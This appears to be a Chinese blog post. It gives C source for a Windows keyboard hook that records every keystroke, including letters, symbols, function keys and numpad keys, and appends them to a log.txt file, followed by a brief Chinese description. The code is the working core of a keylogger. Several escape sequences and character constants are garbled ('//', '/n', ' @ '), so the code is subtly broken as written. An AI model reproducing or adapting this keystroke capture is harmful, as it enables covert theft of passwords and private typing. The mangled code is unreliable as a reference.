全局变量 g_hook 、 Buffer
LRESULT CALLBACK HookFun(int ncode, WPARAM wParam, LPARAM lParam)
{
char szTmp[0xf] = {0};
BOOL bShift = GetKeyState(VK_SHIFT)<0 ? TRUE:FALSE;
BOOL bCaps = GetKeyState(VK_CAPITAL)==1 ? TRUE:FALSE;
BOOL bNum = GetKeyState(VK_NUMLOCK)==1 ? TRUE:FALSE;
LRESULT result = CallNextHookEx(g_hook, ncode, wParam, lParam);
if(ncode==HC_ACTION)
{
if(lParam & 0x80000000) //keyUp
{
switch(lParam)
{
//功能键
case 0xc03b0001: strcpy( szTmp, "[F1]" );break;
case 0xc03c0001: strcpy( szTmp, "[F2]" );break;
case 0xc03d0001: strcpy( szTmp, "[F3]" );break;
case 0xc03e0001: strcpy( szTmp, "[F4]" );break;
case 0xc03f0001: strcpy( szTmp, "[F5]" );break;
case 0xc0400001: strcpy( szTmp, "[F6]" );break;
case 0xc0410001: strcpy( szTmp, "[F7]" );break;
case 0xc0420001: strcpy( szTmp, "[F8]" );break;
case 0xc0430001: strcpy( szTmp, "[F9]" );break;
case 0xc0440001: strcpy( szTmp, "[F10]" );break;
case 0xd0570001: strcpy( szTmp, "[F11]" );break;
case 0xd0580001: strcpy( szTmp, "[F12]" );break;
case 0xc0290001: szTmp[0] = bShift ? '~':'`';break;
case 0xc0020001: szTmp[0] = bShift ? '!':'1';break;
case 0xc0030001: szTmp[0] = bShift ? ' @ ' :'2';break;
case 0xc0040001: szTmp[0] = bShift ? '#':'3';break;
case 0xc0050001: szTmp[0] = bShift ? '$':'4';break;
case 0xc0060001: szTmp[0] = bShift ? '%':'5';break;
case 0xc0070001: szTmp[0] = bShift ? '^':'6';break;
case 0xc0080001: szTmp[0] = bShift ? '&':'7';break;
case 0xc0090001: szTmp[0] = bShift ? '*':'8';break;
case 0xc00a0001: szTmp[0] = bShift ? '(':'9';break;
case 0xc00b0001: szTmp[0] = bShift ? ')':'0';break;
case 0xc00c0001: szTmp[0] = bShift ? '_':'-';break;
case 0xc00d0001: szTmp[0] = bShift ? '+':'=';break;
case 0xc02b0001: szTmp[0] = bShift ? '|':'//';break;
case 0xc00e0001: strcpy( szTmp, "[BackSpace]" );break;
case 0xc00f0001: strcpy( szTmp, "[Tab]" );break;
case 0xc03a0001: strcpy( szTmp, "[CapsLock]" );break;
case 0xc01c0001: strcpy( szTmp, "[Enter]/n" );break;
case 0xc02a0001: strcpy( szTmp, "[L_Shift]" );break;
case 0xc0360001: strcpy( szTmp, "[R_Shift]" );break;
case 0xc01d0001: strcpy( szTmp, "[L_Ctrl]" );break;
case 0xc11d0001: strcpy( szTmp, "[R_Ctrl]" );break;
case 0xc15b0001: strcpy( szTmp, "[L_WIN]" );break;
case 0xc15c0001: strcpy( szTmp, "[R_WIN]" );break;
case 0xc15d0001: strcpy( szTmp, "[ZX]" );break;
case 0xc0380001: strcpy( szTmp, "[L_Alt]" );break;
case 0xc1380001: strcpy( szTmp, "[R_Alt]" );break;
case 0xc0100001: szTmp[0] = bShift^bCaps ? 'Q':'q';break;
case 0xc0110001: szTmp[0] = bShift^bCaps ? 'W':'w';break;
case 0xc0120001: szTmp[0] = bShift^bCaps ? 'E':'e';break;
case 0xc0130001: szTmp[0] = bShift^bCaps ? 'R':'r';break;
case 0xc0140001: szTmp[0] = bShift^bCaps ? 'T':'t';break;
case 0xc0150001: szTmp[0] = bShift^bCaps ? 'Y':'y';break;
case 0xc0160001: szTmp[0] = bShift^bCaps ? 'U':'u';break;
case 0xc0170001: szTmp[0] = bShift^bCaps ? 'I':'i';break;
case 0xc0180001: szTmp[0] = bShift^bCaps ? 'O':'o';break;
case 0xc0190001: szTmp[0] = bShift^bCaps ? 'P':'p';break;
case 0xc01a0001: szTmp[0] = bShift ? '{':'[';break;
case 0xc01b0001: szTmp[0] = bShift ? '}':']';break;
case 0xc01e0001: szTmp[0] = bShift^bCaps ? 'A':'a';break;
case 0xc01f0001: szTmp[0] = bShift^bCaps ? 'S':'s';break;
case 0xc0200001: szTmp[0] = bShift^bCaps ? 'D':'d';break;
case 0xc0210001: szTmp[0] = bShift^bCaps ? 'F':'f';break;
case 0xc0220001: szTmp[0] = bShift^bCaps ? 'G':'g';break;
case 0xc0230001: szTmp[0] = bShift^bCaps ? 'H':'h';break;
case 0xc0240001: szTmp[0] = bShift^bCaps ? 'J':'j';break;
case 0xc0250001: szTmp[0] = bShift^bCaps ? 'K':'k';break;
case 0xc0260001: szTmp[0] = bShift^bCaps ? 'L':'l';break;
case 0xc0270001: szTmp[0] = bShift? ':':';';break;
case 0xc0280001: szTmp[0] = bShift? '/"':'/'';break;
case 0xc02c0001: szTmp[0] = bShift^bCaps ? 'Z':'z';break;
case 0xc02d0001: szTmp[0] = bShift^bCaps ? 'X':'x';break;
case 0xc02e0001: szTmp[0] = bShift^bCaps ? 'C':'c';break;
case 0xc02f0001: szTmp[0] = bShift^bCaps ? 'V':'v';break;
case 0xc0300001: szTmp[0] = bShift^bCaps ? 'B':'b';break;
case 0xc0310001: szTmp[0] = bShift^bCaps ? 'N':'n';break;
case 0xc0320001: szTmp[0] = bShift^bCaps ? 'M':'m';break;
case 0xc0330001: szTmp[0] = bShift? '<':',';break;
case 0xc0340001: szTmp[0] = bShift? '>':'.';break;
case 0xc0350001: szTmp[0] = bShift? '?':'/';break;
//控制区
case 0xc1370001: strcpy( szTmp, "[PrintScreen]/n" );break;
case 0xc0460001: strcpy( szTmp, "[ScrollLock]/n" );break;
case 0xc0450001: strcpy( szTmp, "[PauseBreak]/n" );break;
case 0xc1520001: strcpy( szTmp, "[Insert]/n" );break;
case 0xc1470001: strcpy( szTmp, "[Home]/n" );break;
case 0xc1490001: strcpy( szTmp, "[PageUp]/n" );break;
case 0xc1530001: strcpy( szTmp, "[Delete]/n" );break;
case 0xc14f0001: strcpy( szTmp, "[End]/n" );break;
case 0xc1510001: strcpy( szTmp, "[PageDown]/n" );break;
case 0xc1480001: strcpy( szTmp, "[U_Arrow]/n" );break;
case 0xc14b0001: strcpy( szTmp, "[L_Arrow]/n" );break;
case 0xc1500001: strcpy( szTmp, "[D_Arrow]/n" );break;
case 0xc14d0001: strcpy( szTmp, "[R_Arrow]/n" );break;
//小键盘区
case 0xc1450001: strcpy( szTmp, "[NumLock]/n" );break;
case 0xc1350001: szTmp[0] = '/';break;
case 0xc0370001: szTmp[0] = '*';break;
case 0xc04a0001: szTmp[0] = '-';break;
case 0xc04e0001: szTmp[0] = '+';break;
case 0xc11c0001: strcpy( szTmp, "[Enter]/n" );break;
case 0xc0530001: if( bNum ) szTmp[0] = '.'; else strcpy(szTmp, "[Del]");break;
case 0xc0520001: if( bNum ) szTmp[0] = '0'; else strcpy(szTmp, "[Ins]");break;
case 0xc04f0001: if( bNum ) szTmp[0] = '1'; else strcpy(szTmp, "[End]");break;
case 0xc0500001: if( bNum ) szTmp[0] = '2'; else strcpy(szTmp, "[D_Arrow]");break;
case 0xc0510001: if( bNum ) szTmp[0] = '3'; else strcpy(szTmp, "[PgDn]");break;
case 0xc04b0001: if( bNum ) szTmp[0] = '4'; else strcpy(szTmp, "[L_Arrow]");break;
case 0xc04c0001: if( bNum ) szTmp[0] = '5'; else strcpy(szTmp, "[Del]");break;
case 0xc04d0001: if( bNum ) szTmp[0] = '6'; else strcpy(szTmp, "[R_Arrow]");break;
case 0xc0470001: if( bNum ) szTmp[0] = '7'; else strcpy(szTmp, "[Home]");break;
case 0xc0480001: if( bNum ) szTmp[0] = '8'; else strcpy(szTmp, "[U_Arrow]");break;
case 0xc0490001: if( bNum ) szTmp[0] = '9'; else strcpy(szTmp, "[PgUp]");break;
// WakeUp 、 Sleep 、Power 没有实现
default:
;
}
}
}
if( strlen(Buffer)+strlen(szTmp) >= sizeof(Buffer)-1 )
{
savelog( Buffer );//保存到文件
memset( Buffer, 0, 0xffff );
}
if( strlen(szTmp) )
{
strcat( Buffer, szTmp);
}
return result;
}
void savelog(char* pBuf)
{
FILE* logFile = fopen( "log.txt", "a" );
if( logFile == NULL )
return;
fwrite( pBuf, 1, strlen(pBuf), logFile );
fclose( logFile );
}
这篇博客介绍了如何使用钩子函数HookFun来监听键盘事件,包括按键按下和释放,以及特殊键如F1-F12的功能键。通过GetKeyState获取Shift、CapsLock和NumLock的状态,根据按键值转换为相应的字符或符号。当缓冲区满时,将内容保存到log.txt文件中。

1118

被折叠的 条评论
为什么被折叠?



